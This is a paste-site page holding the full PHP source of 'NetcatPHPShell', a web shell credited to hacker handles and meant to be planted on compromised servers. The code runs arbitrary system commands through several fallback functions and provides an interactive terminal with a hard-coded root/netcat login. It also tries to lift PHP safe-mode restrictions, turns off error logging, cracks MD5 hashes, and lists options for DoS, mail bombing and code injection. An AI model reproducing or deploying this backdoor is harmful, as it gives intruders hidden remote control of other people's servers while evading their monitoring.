NetCat PHP Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 8:12 a.m.

FORMAT: PHP

SIZE: 42.0 kB

HITS: 513

  1. <?php
  2. /*
  3. #############################################
  4. # ––•(–•- NetcatPHPShell –•–)•–– #
  5. # .::+ :Leech by K0eN: +::. #
  6. # NetcatPHPShell ( Released on 9/16/12 ) #
  7. # Email: K0eN@haxor.co #
  8. #############################################
  9. */
  10. error_reporting(0);
  11. ini_set('max_execution_time',0);
  12. // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
  13. /**************** Defines *********************************/
  14. $greeting = "";
  15. $user = "root";
  16. $pass = "netcat";
  17. $lock = "on"; // set this to off if you dont need the login page
  18. $antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
  19. $tracebackFeature = "off"; // set this feature to enable email alerts
  20. $ownerEmail = "K0eN@haxor.co"; // Change this to your email , This email is used to deliver tracebacks about your shell
  21. $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  22. $phpVersion=phpversion();
  23. $self=$_SERVER["PHP_SELF"]; // Where am i
  24. $sm = @ini_get('safe_mode');
  25. $SEPARATOR = '/'; // Default Directory separator
  26. $os = "N/D";
  27. if(stristr(php_uname(),"Windows"))
  28. {
  29. $SEPARATOR = '\\';
  30. $os = "Windows";
  31. }
  32. else if(stristr(php_uname(),"Linux"))
  33. {
  34. $os = "Linux";
  35. }
  36. //*************************************************************/
  37. // -------------- Traceback Functions
  38. function sendLoginAlert()
  39. {
  40. global $ownerEmail;
  41. global $url;
  42. $accesedIp = $_SERVER['REMOTE_ADDR'];
  43. $randomInt = rand(0,1000000); # to avoid id blocking
  44. $from = "ani-shell$randomInt@fbi.gov";
  45. //echo $from;
  46. if(function_exists('mail'))
  47. {
  48. $subject = "Shell Accessed -- Ani-Shell --";
  49. $message = "
  50. Hey Owner ,
  51. Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
  52. If its not you :-
  53. 1. Please check if the shell is secured.
  54. 2. Change your user name and Password.
  55. 3. Check if lock is 0n!
  56. and Kick that ****** out!
  57. Thanking You
  58. Yours Faithfully
  59. Ani-Shell
  60. ";
  61. mail($ownerEmail,$subject,$message,'From:'.$from);
  62. }
  63. }
  64. //---------------------------------------------------------
  65. if(function_exists('session_start') && $lock == 'on')
  66. {
  67. session_start();
  68. }
  69. else
  70. {
  71. // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
  72. $lock = 'off';
  73. }
  74. //logout
  75. if(isset($_GET['logout']) && $lock == 'on')
  76. {
  77. $_SESSION['authenticated'] = 0;
  78. session_destroy();
  79. header("location: ".$_SERVER['PHP_SELF']);
  80. }
  81. ini_set('max_execution_time',0);
  82. /***************** Restoring *******************************/
  83. ini_restore("safe_mode_include_dir");
  84. ini_restore("safe_mode_exec_dir");
  85. ini_restore("disable_functions");
  86. ini_restore("allow_url_fopen");
  87. ini_restore("safe_mode");
  88. ini_restore("open_basedir");
  89. if(function_exists('ini_set'))
  90. {
  91. ini_set('error_log',NULL); // No alarming logs
  92. ini_set('log_errors',0); // No logging of errors
  93. ini_set('file_uploads',1); // Enable file uploads
  94. ini_set('allow_url_fopen',1); // allow url fopen
  95. }
  96. else
  97. {
  98. ini_alter('error_log',NULL);
  99. ini_alter('log_errors',0);
  100. ini_alter('file_uploads',1);
  101. ini_alter('allow_url_fopen',1);
  102. }
  103. // ----------------------------------------------------------------------------------------------------------------
  104. ?>
  105. <html>
  106. <head>
  107. <title>––•(–•- NetcatPHPShell –•–)•–– | | Made by Mr.H4rD3n</title>
  108. <?php
  109. if($antiCrawler != 'off')
  110. {
  111. ?>
  112. <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  113. <?php
  114. }
  115. ?>
  116. <style>
  117. /*
  118. ==========================
  119. CSS Section
  120. ==========================
  121. */
  122. *{
  123. padding:0;
  124. margin:0;
  125. }
  126. .alert
  127. {
  128. background:red;
  129. color:white;
  130. font-weight:bold;
  131. }
  132. td.info
  133. {
  134. width:0px;
  135. }
  136. .bind
  137. {
  138. border: 1px solid #333333;
  139. margin: 15px auto 0;
  140. font-size: small;
  141. }
  142. div.end *
  143. {
  144. font-size:small;
  145. }
  146. div.end
  147. {
  148. width:100%;
  149. background:#529ADE;
  150. }
  151. p.blink
  152. {
  153. text-decoration: blink;
  154. }
  155. body
  156. {
  157. background-color:black;
  158. color:rgb(35,182,39);
  159. font-family:Tahoma,Verdana,Arial;
  160. font-size: small;
  161. }
  162. input.own {
  163. background-color: Green;
  164. color: white;
  165. border : 1px solid #529ADE;
  166. }
  167. blockquote.small
  168. {
  169. font-size: smaller;
  170. color: silver;
  171. text-align: center;
  172. }
  173. table.files
  174. {
  175. border-spacing: 10px;
  176. font-size: small;
  177. }
  178. h1 {
  179. padding: 4px;
  180. padding-bottom: 0px;
  181. margin-right : 5px;
  182. }
  183. div.logo
  184. {
  185. border-right: 1px aqua solid;
  186. }
  187. div.header
  188. {
  189. padding-left: 5px;
  190. font-size: small;
  191. text-align: left;
  192. }
  193. div.nav
  194. {
  195. margin-top:1px;
  196. height:30px;
  197. background-color: #529ADE;
  198. }
  199. div.nav ul
  200. {
  201. list-style: none;
  202. padding: 4px;
  203. }
  204. div.nav li
  205. {
  206. float: left;
  207. margin-right: 10px;
  208. text-align:center;
  209. }
  210. textarea.cmd
  211. {
  212. border : 1px solid #111;
  213. background-color : green;
  214. font-family: Shell;
  215. color : white;
  216. margin-top: 10px;
  217. font-size:small;
  218. }
  219. input.cmd
  220. {
  221. background-color:black;
  222. color: white;
  223. width: 400px;
  224. border : 1px solid #529ADE;
  225. }
  226. td.maintext
  227. {
  228. font-size: large;
  229. }
  230. #margins
  231. {
  232. margin-left: 10px;
  233. margin-top: 10px;
  234. color:white;
  235. }
  236. table.top
  237. {
  238. border-bottom: 1px solid aqua;
  239. width: 100%;
  240. }
  241. #borders
  242. {
  243. border-top : 1px solid aqua;
  244. border-left:1px solid aqua;
  245. border-bottom: 1px solid aqua;
  246. border-right: 1px solid aqua;
  247. margin-bottom:0;
  248. }
  249. td.file a , .file a
  250. {
  251. color : aqua;
  252. text-decoration:none;
  253. }
  254. a.dir
  255. {
  256. color:white;
  257. font-weight:bold;
  258. text-decoration:none;
  259. }
  260. td.dir a
  261. {
  262. color : white;
  263. text-decoration:none;
  264. }
  265. td.download,td.download2
  266. {
  267. color:green;
  268. }
  269. #spacing
  270. {
  271. padding:10px;
  272. margin-left:200px;
  273. }
  274. th.header
  275. {
  276. background: none repeat scroll 0 0 #191919;
  277. color: white;
  278. border-bottom : 1px solid #333333;
  279. }
  280. p.warning
  281. {
  282. background : red;
  283. color: white;
  284. }
  285. /*
  286. --------------------------------CSS END------------------------------------------------------
  287. */
  288. </style>
  289. </head>
  290. <body text="rgb(39,245,10)" bgcolor="black" style="background-color:#000000">
  291. <?php
  292. if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
  293. {
  294. if( $_POST['user'] == $user &&
  295. $_POST['pass'] == $pass )
  296. {
  297. $_SESSION['authenticated'] = 1;
  298. // --------------------- Tracebacks --------------------------------
  299. if($tracebackFeature == 'On')
  300. {
  301. sendLoginAlert();
  302. }
  303. // ------------------------------------------------------------------
  304. }
  305. }
  306. if($lock == 'off')
  307. {?>
  308. <p class="warning"><font color="#FF0000"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p>
  309. <?php
  310. }
  311. if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
  312. {
  313. ?>
  314. <table height="421" width="993">
  315. <tbody>
  316. <tr>
  317. <td width="448">
  318. <pre>
  319. <font color="Orange">
  320. <b>
  321. </b></font><b><font color="#19D2FE">[]======================================[]
  322. []-----------</font><font color="#FFFFFF">NetcatPHPShell</font><font color="#19D2FE">-------------[]
  323. []---------------</font><font color="#CC6600">Private</font><font color="#19D2FE">----------------[]
  324. []======================================[]
  325. [] </font><font color="#FFFFFF">–</font><font color="#19D2FE">–</font><font color="#FF0000">•(</font><font color="#19D2FE">-• c0d3d by Mr.H4rD3n •-</font><font color="#FF0000">)•</font><font color="#19D2FE">–</font><font color="#FFFFFF">–</font><font color="#19D2FE"> []</font></b></pre>
  326. <pre>
  327. <b><font color="#19D2FE">[]======================================[]
  328. [] NetcatPHPShell Released on </font><font color="#FFFFFF">11/04/12</font><font color="#19D2FE"> []</font></b></pre>
  329. <pre>
  330. <b><font color="#19D2FE">[]======================================[]
  331. [] </font><font color="#CC6600">WeLcOmE Master Of The Server !</font><font color="#19D2FE"> []
  332. []======================================[]</font></b></pre>
  333. <pre><b><font color="#19D2FE">[] Moroccan </font><font color="#FFFFFF">Hackers</font><font color="#19D2FE"> []
  334. [] </font><font color="#FFFFFF">Moroccan</font><font color="#19D2FE"> C0d3r []</font></b></pre>
  335. <pre><b><font color="#19D2FE">[] Moroccan </font><font color="#FFFFFF">Masters </font><font color="#19D2FE">[]</font></b></pre>
  336. <pre><b><font color="#19D2FE">[]======================================[]
  337. [] </font><font color="#CC6600">MaD </font><font color="#FFFFFF">In</font><font color="#CC6600"> </font><font color="#19D2FE">MoRoCcO []</font></b></pre>
  338. <pre><b><font color="#19D2FE">[]======================================[]
  339. [] []
  340. [] </font><font color="#CC6600">Netcat</font><font color="#19D2FE"> </font><font color="#FFFFFF">PHP Connect to Server</font><font color="#19D2FE"> []</font></b></pre>
  341. <pre><b><font color="#19D2FE">[] []
  342. []======================================[]
  343. [] </font><font color="#CC6600">My Groupe</font><font color="#19D2FE"> </font><font color="#FFFFFF">IsLamiC Warrior Team</font><font color="#19D2FE"> []
  344. []======================================[]
  345. [] </font><font color="#FF0000"> </font><font color="#CC6600">Email:</font><font color="#19D2FE"> </font><font color="#FFFFFF">exploit-id@hotmail.com</font><font color="#19D2FE"> []
  346. [] </font><font color="#CC6600"> Facebook :</font><font color="#19D2FE"> </font><font color="#FFFFFF">Facebook.com/Mr.H4rD3n</font> <font color="#19D2FE">[]
  347. []</font><font color="#19D2FE">======================================[]</font><font color="grey">
  348. </font></b><font color="grey">
  349. </pre>
  350. </td>
  351. <td>
  352. <h1><?php echo $greeting;?></h1>
  353. <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><br /><br />
  354. <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
  355. <input name="user" value="UserNamE" style="color: #19D2FE; background-color: #000000" size="20"/>
  356. <input name="pass" type="password" value="passwd" style="color: #19D2FE; background-color: #000000" size="20"/>
  357. <input class="own" type="submit" value="GO TO HeLL" style="color: #42CFF9; background-color: #000000"/>
  358. </form>
  359. </td>
  360. </tr>
  361. </tbody>
  362. </table>
  363. <?php
  364. }
  365. //---------------------------------- We are authenticated now-------------------------------------
  366. //Launch the shell
  367. else
  368. {
  369. //---------------------------------- Fuctions ---------------------------------------------------
  370. function showDrives()
  371. {
  372. global $self;
  373. foreach(range('A','Z') as $drive)
  374. {
  375. if(is_dir($drive.':\\'))
  376. {
  377. ?>
  378. <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  379. <?php echo $drive.":\\" ?>
  380. </a>
  381. <?php
  382. }
  383. }
  384. }
  385. function HumanReadableFilesize($size)
  386. {
  387. $mod = 1024;
  388. $units = explode(' ','B KB MB GB TB PB');
  389. for ($i = 0; $size > $mod; $i++)
  390. {
  391. $size /= $mod;
  392. }
  393. return round($size, 2) . ' ' . $units[$i];
  394. }
  395. function getClientIp()
  396. {
  397. echo $_SERVER['REMOTE_ADDR'];
  398. }
  399. function getServerIp()
  400. {
  401. echo getenv('SERVER_ADDR');
  402. }
  403. function getSoftwareInfo()
  404. {
  405. echo php_uname();
  406. }
  407. function diskSpace()
  408. {
  409. echo HumanReadableFilesize(disk_total_space("/"));
  410. }
  411. function freeSpace()
  412. {
  413. echo HumanReadableFilesize(disk_free_space("/"));
  414. }
  415. function getSafeMode()
  416. {
  417. global $sm;
  418. echo($sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF");
  419. }
  420. function getDisabledFunctions()
  421. {
  422. if(!ini_get('disable_functions'))
  423. {
  424. echo "None";
  425. }
  426. else
  427. {
  428. echo @ini_get('disable_functions');
  429. }
  430. }
  431. function getFilePermissions($file)
  432. {
  433. $perms = fileperms($file);
  434. if (($perms & 0xC000) == 0xC000) {
  435. // Socket
  436. $info = 's';
  437. } elseif (($perms & 0xA000) == 0xA000) {
  438. // Symbolic Link
  439. $info = 'l';
  440. } elseif (($perms & 0x8000) == 0x8000) {
  441. // Regular
  442. $info = '-';
  443. } elseif (($perms & 0x6000) == 0x6000) {
  444. // Block special
  445. $info = 'b';
  446. } elseif (($perms & 0x4000) == 0x4000) {
  447. // Directory
  448. $info = 'd';
  449. } elseif (($perms & 0x2000) == 0x2000) {
  450. // Character special
  451. $info = 'c';
  452. } elseif (($perms & 0x1000) == 0x1000) {
  453. // FIFO pipe
  454. $info = 'p';
  455. } else {
  456. // Unknown
  457. $info = 'u';
  458. }
  459. // Owner
  460. $info .= (($perms & 0x0100) ? 'r' : '-');
  461. $info .= (($perms & 0x0080) ? 'w' : '-');
  462. $info .= (($perms & 0x0040) ?
  463. (($perms & 0x0800) ? 's' : 'x' ) :
  464. (($perms & 0x0800) ? 'S' : '-'));
  465. // Group
  466. $info .= (($perms & 0x0020) ? 'r' : '-');
  467. $info .= (($perms & 0x0010) ? 'w' : '-');
  468. $info .= (($perms & 0x0008) ?
  469. (($perms & 0x0400) ? 's' : 'x' ) :
  470. (($perms & 0x0400) ? 'S' : '-'));
  471. // World
  472. $info .= (($perms & 0x0004) ? 'r' : '-');
  473. $info .= (($perms & 0x0002) ? 'w' : '-');
  474. $info .= (($perms & 0x0001) ?
  475. (($perms & 0x0200) ? 't' : 'x' ) :
  476. (($perms & 0x0200) ? 'T' : '-'));
  477. return $info;
  478. }
  479. /***********************************************************/
  480. // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
  481. // Turned OfF!
  482. /**********************************************************/
  483. function exec_all($command)
  484. {
  485. $output = '';
  486. if(function_exists('exec'))
  487. {
  488. exec($command,$output);
  489. $output = join("\n",$output);
  490. }
  491. else if(function_exists('shell_exec'))
  492. {
  493. $output = shell_exec($command);
  494. }
  495. else if(function_exists('popen'))
  496. {
  497. $handle = popen($command , "r"); // Open the command pipe for reading
  498. if(is_resource($handle))
  499. {
  500. if(function_exists('fread') && function_exists('feof'))
  501. {
  502. while(!feof($handle))
  503. {
  504. $output .= fread($handle, 512);
  505. }
  506. }
  507. else if(function_exists('fgets') && function_exists('feof'))
  508. {
  509. while(!feof($handle))
  510. {
  511. $output .= fgets($handle,512);
  512. }
  513. }
  514. }
  515. pclose($handle);
  516. }
  517. else if(function_exists('system'))
  518. {
  519. ob_start(); //start output buffering
  520. system($command);
  521. $output = ob_get_contents(); // Get the ouput
  522. ob_end_clean(); // Stop output buffering
  523. }
  524. else if(function_exists('passthru'))
  525. {
  526. ob_start(); //start output buffering
  527. passthru($command);
  528. $output = ob_get_contents(); // Get the ouput
  529. ob_end_clean(); // Stop output buffering
  530. }
  531. else if(function_exists('proc_open'))
  532. {
  533. $descriptorspec = array(
  534. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  535. );
  536. $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  537. if(is_resource($handle))
  538. {
  539. if(function_exists('fread') && function_exists('feof'))
  540. {
  541. while(!feof($pipes[1]))
  542. {
  543. $output .= fread($pipes[1], 512);
  544. }
  545. }
  546. else if(function_exists('fgets') && function_exists('feof'))
  547. {
  548. while(!feof($pipes[1]))
  549. {
  550. $output .= fgets($pipes[1],512);
  551. }
  552. }
  553. }
  554. pclose($handle);
  555. }
  556. else
  557. {
  558. $output = "They have their Security there! :( ";
  559. }
  560. return(htmlspecialchars($output));
  561. }
  562. function magicQuote($text)
  563. {
  564. if (!get_magic_quotes_gpc())
  565. {
  566. return $text;
  567. }
  568. return stripslashes($text);
  569. }
  570. function md5Crack($hash , $list)
  571. {
  572. $fd = fopen($list,"r");
  573. if( strlen($hash) != 32 || $fd == FALSE)
  574. {
  575. // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
  576. return "<p class='warning'>Hash or List invalid!</p>";
  577. }
  578. else
  579. {
  580. $pwdList = fread($fd,512);
  581. $pwdList = explode("\n",$pwdList);
  582. echo "Words Checked :-<br /><br />\n";
  583. foreach($pwdList as $pwd)
  584. {
  585. $pwd = trim($pwd);
  586. echo "<br />[*] ".$pwd;
  587. if(md5($pwd) == $hash )
  588. {
  589. return "<br /><br /><br />\n<h2>Hash Cracked</h2><br /><br />\n<p class='warning'>Planintext : $pwd</p>";
  590. }
  591. }
  592. }
  593. }
  594. //------------------------------------------------------------------------------------------------
  595. ?>
  596. <div class="nav" style="width: 1005px; height: 49px">
  597. <ul>
  598. <li><a href="<?php echo $self;?>"></a></li>
  599. <li><a href="<?php echo $self.'?upload';?>"></a></li>
  600. <li><a href="<?php echo $self.'?shell';?>"></a></li>
  601. <li><a href="<?php echo $self.'?dos';?>"></a></li>
  602. <li><a href="<?php echo $self.'?fuzz';?>"></a></li>
  603. <li><a href="<?php echo $self.'?mail'?>"></a></li>
  604. <li><a href="<?php echo $self.'?bomb'?>"></a></li>
  605. <li><a href="<?php echo $self.'?connect'?>"></a></li>
  606. <li><a href="<?php echo $self.'?injector'?>"></a></li>
  607. <li><a href="<?php echo $self.'?decode'?>"></a></li>
  608. <li><a href="<?php echo $self.'?eval'?>"></a></li>
  609. <li><a href="<?php echo $self.'?md5'?>"></a></li>
  610. <?php if($lock == 'on')
  611. {
  612. ?>
  613. <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font face="Times New Roman" size="4">&nbsp;</font><font face="Times New Roman" size="5">
  614. </font>
  615. <i><font face="Verdana" size="5">
  616. <a href="<?php echo $self.'?logout'?>">
  617. <font color="#FFFFFF"><span style="text-decoration: none">Logout</span></font></a></font></i><font color="#FF0000"><b><i><font face="Verdana" size="5"></li></font></i><font face="Verdana" size="5"> </font>
  618. </b><font face="Times New Roman" size="5">
  619. <?php
  620. }
  621. ?>
  622. </font>
  623. </font>
  624. </ul>
  625. </div>
  626. <?php
  627. //-------------------------------- Check what he wants -------------------------------------------
  628. // Shell
  629. if(isset($_GET['shell']))
  630. {
  631. if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
  632. {
  633. $result = "";
  634. }
  635. else
  636. {
  637. $result=exec_all($_GET['cmd']);
  638. }
  639. ?>
  640. <?php
  641. }
  642. //Rename
  643. else if(isset($_GET['rename']))
  644. {
  645. if(isset($_GET['to']) && isset($_GET['rename']))
  646. {
  647. if(rename($_GET['rename'],$_GET['to']) == FALSE)
  648. {
  649. ?>
  650. <?php
  651. }
  652. }
  653. else
  654. {
  655. ?>
  656. <?php
  657. }
  658. }
  659. // No request made
  660. // Display home page
  661. else
  662. {
  663. $dir = getcwd();
  664. if(isset($_GET['dir']))
  665. {
  666. $dir = $_GET['dir'];
  667. }
  668. ?>
  669. <p>&nbsp;</p>
  670. <?php
  671. $aliases = array('la' => 'ls -la',
  672. 'll' => 'ls -lvhF',
  673. 'dir' => 'ls' );
  674. $passwd = array('' => '');
  675. error_reporting(0);
  676. class phpTerm {
  677. function formatPrompt() {
  678. $user=shell_exec("whoami");
  679. $host=explode(".", shell_exec("uname -n"));
  680. $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  681. }
  682. function checkPassword($passwd) {
  683. if(!isset($_SERVER['PHP_AUTH_USER'])||
  684. !isset($_SERVER['PHP_AUTH_PW']) ||
  685. !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  686. $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  687. @session_start();
  688. return true;
  689. }
  690. else {
  691. @session_start();
  692. return true;
  693. }
  694. }
  695. function initVars()
  696. {
  697. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  698. {
  699. $_SESSION['cwd'] = getcwd();
  700. $_SESSION['history'] = array();
  701. $_SESSION['output'] = '';
  702. $_REQUEST['command'] ='';
  703. }
  704. }
  705. function buildCommandHistory()
  706. {
  707. if(!empty($_REQUEST['command']))
  708. {
  709. if(get_magic_quotes_gpc())
  710. {
  711. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  712. }
  713. // drop old commands from list if exists
  714. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  715. {
  716. unset($_SESSION['history'][$i]);
  717. }
  718. array_unshift($_SESSION['history'], $_REQUEST['command']);
  719. // append commmand */
  720. $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  721. }
  722. }
  723. function buildJavaHistory()
  724. {
  725. // build command history for use in the JavaScript
  726. if (empty($_SESSION['history']))
  727. {
  728. $_SESSION['js_command_hist'] = '""';
  729. }
  730. else
  731. {
  732. $escaped = array_map('addslashes', $_SESSION['history']);
  733. $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  734. }
  735. }
  736. function outputHandle($aliases)
  737. {
  738. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  739. {
  740. $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  741. }
  742. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  743. {
  744. // The current command is 'cd', which we have to handle as an internal shell command.
  745. // absolute/relative path ?"
  746. ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  747. // cosmetics
  748. while (strpos($new_dir, '/./') !== false)
  749. $new_dir = str_replace('/./', '/', $new_dir);
  750. while (strpos($new_dir, '//') !== false)
  751. $new_dir = str_replace('//', '/', $new_dir);
  752. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  753. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  754. if(empty($new_dir)): $new_dir = "/"; endif;
  755. (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  756. }
  757. else
  758. {
  759. /* The command is not a 'cd' command, so we execute it after
  760. * changing the directory and save the output. */
  761. chdir($_SESSION['cwd']);
  762. /* Alias expansion. */
  763. $length = strcspn($_REQUEST['command'], " \t");
  764. $token = substr(@$_REQUEST['command'], 0, $length);
  765. if (isset($aliases[$token]))
  766. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  767. $p = proc_open(@$_REQUEST['command'],
  768. array(1 => array('pipe', 'w'),
  769. 2 => array('pipe', 'w')),
  770. $io);
  771. /* Read output sent to stdout. */
  772. while (!feof($io[1])) {
  773. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  774. }
  775. /* Read output sent to stderr. */
  776. while (!feof($io[2])) {
  777. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  778. }
  779. fclose($io[1]);
  780. fclose($io[2]);
  781. proc_close($p);
  782. }
  783. }
  784. } // end phpTerm
  785. /*##########################################################
  786. ## The main thing starts here
  787. ## All output ist XHTML
  788. ##########################################################*/
  789. $terminal=new phpTerm;
  790. @session_start();
  791. $terminal->initVars();
  792. $terminal->buildCommandHistory();
  793. $terminal->buildJavaHistory();
  794. if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  795. $terminal->outputHandle($aliases);
  796. header('Content-Type: text/html; charset=UTF-8');
  797. echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  798. ?>
  799. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  800. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  801. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  802. <head>
  803. <title>.:: --+ NeTCaTPHPShell +-- ::.</title>
  804. <script type="text/javascript" language="JavaScript">
  805. var current_line = 0;
  806. var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  807. var last = 0;
  808. function key(e) {
  809. if (!e) var e = window.event;
  810. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  811. command_hist[current_line] = document.shell.command.value;
  812. current_line++;
  813. document.shell.command.value = command_hist[current_line];
  814. }
  815. if (e.keyCode == 40 && current_line > 0) {
  816. command_hist[current_line] = document.shell.command.value;
  817. current_line--;
  818. document.shell.command.value = command_hist[current_line];
  819. }
  820. }
  821. function init() {
  822. document.shell.setAttribute("autocomplete", "off");
  823. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  824. document.shell.command.focus();
  825. }
  826. </script>
  827. <style type="text/css">
  828. body {font-family: sans-serif; color: black; background: white;}
  829. table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  830. td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  831. textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  832. p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  833. input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  834. </style>
  835. </head>
  836. <body onload="init()" style="background-color:#000000">
  837. nd )'<?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  838. <div align="center">
  839. <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><p>
  840. <font color="#FFFFFF">
  841. -------------------------------------------------------------------------------------</font></p>
  842. <p><font face="Times New Roman" color="#529ADE" size="4">–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font><font color="#FF0000" face="Times New Roman" size="4">–•</font><font size="4"><font color="#42CFF9" face="Times New Roman">(</font><font color="#FF0000" face="Times New Roman">-</font><font color="#27F50A" face="Times New Roman">•</font><b><font color="#529ADE" face="Times New Roman">
  843. © Copyright </font><font color="#FF0000" face="Times New Roman">Mr.H4rD3n</font><font color="#529ADE" face="Times New Roman">
  844. </font><font color="#FFFF00" face="Times New Roman">[ </font><font color="#529ADE" face="Times New Roman">All
  845. rights reserved </font><font color="#FFFF00" face="Times New Roman">]</font><font color="#529ADE" face="Times New Roman">
  846. </font><font color="#27F50A" face="Times New Roman">•</font><font color="#FF0000" face="Times New Roman">-</font><font color="#42CFF9" face="Times New Roman">)</font></b></font><b><font color="#FF0000" face="Times New Roman" size="4">•–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font></b></p>
  847. <p>
  848. <font color="#FFFFFF">
  849. -------------------------------------------------------------------------------------</font></p>
  850. <p><font face="Comic Sans MS" color="#42CFF9">Get Commands to Server - Bypass</font></p>
  851. <table cellpadding="0" cellspacing="0">
  852. <tr><td class="head" style="color: #000000;"><font color="#FFFFFF"><b>X</b></font></td>
  853. <td class="head"><font color="#FFFFFF"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  854. </font>
  855. </td></tr>
  856. <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  857. <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  858. <?php
  859. $lines = substr_count($_SESSION['output'], "\n");
  860. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  861. echo rtrim($padding . $_SESSION['output']);
  862. ?>
  863. </textarea>
  864. <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  865. <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  866. </p>
  867. <? /*<p>
  868. <input type="submit" value="Execute Command" />
  869. <input type="submit" name="reset" value="Reset" />
  870. Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  871. </p>
  872. */
  873. ?>
  874. </form></td></tr>
  875. </body>
  876. </html>
  877. <?php ?>
  878. <?php
  879. $aliases = array('la' => 'ls -la',
  880. 'll' => 'ls -lvhF',
  881. 'dir' => 'ls' );
  882. $passwd = array('' => '');
  883. error_reporting(1);
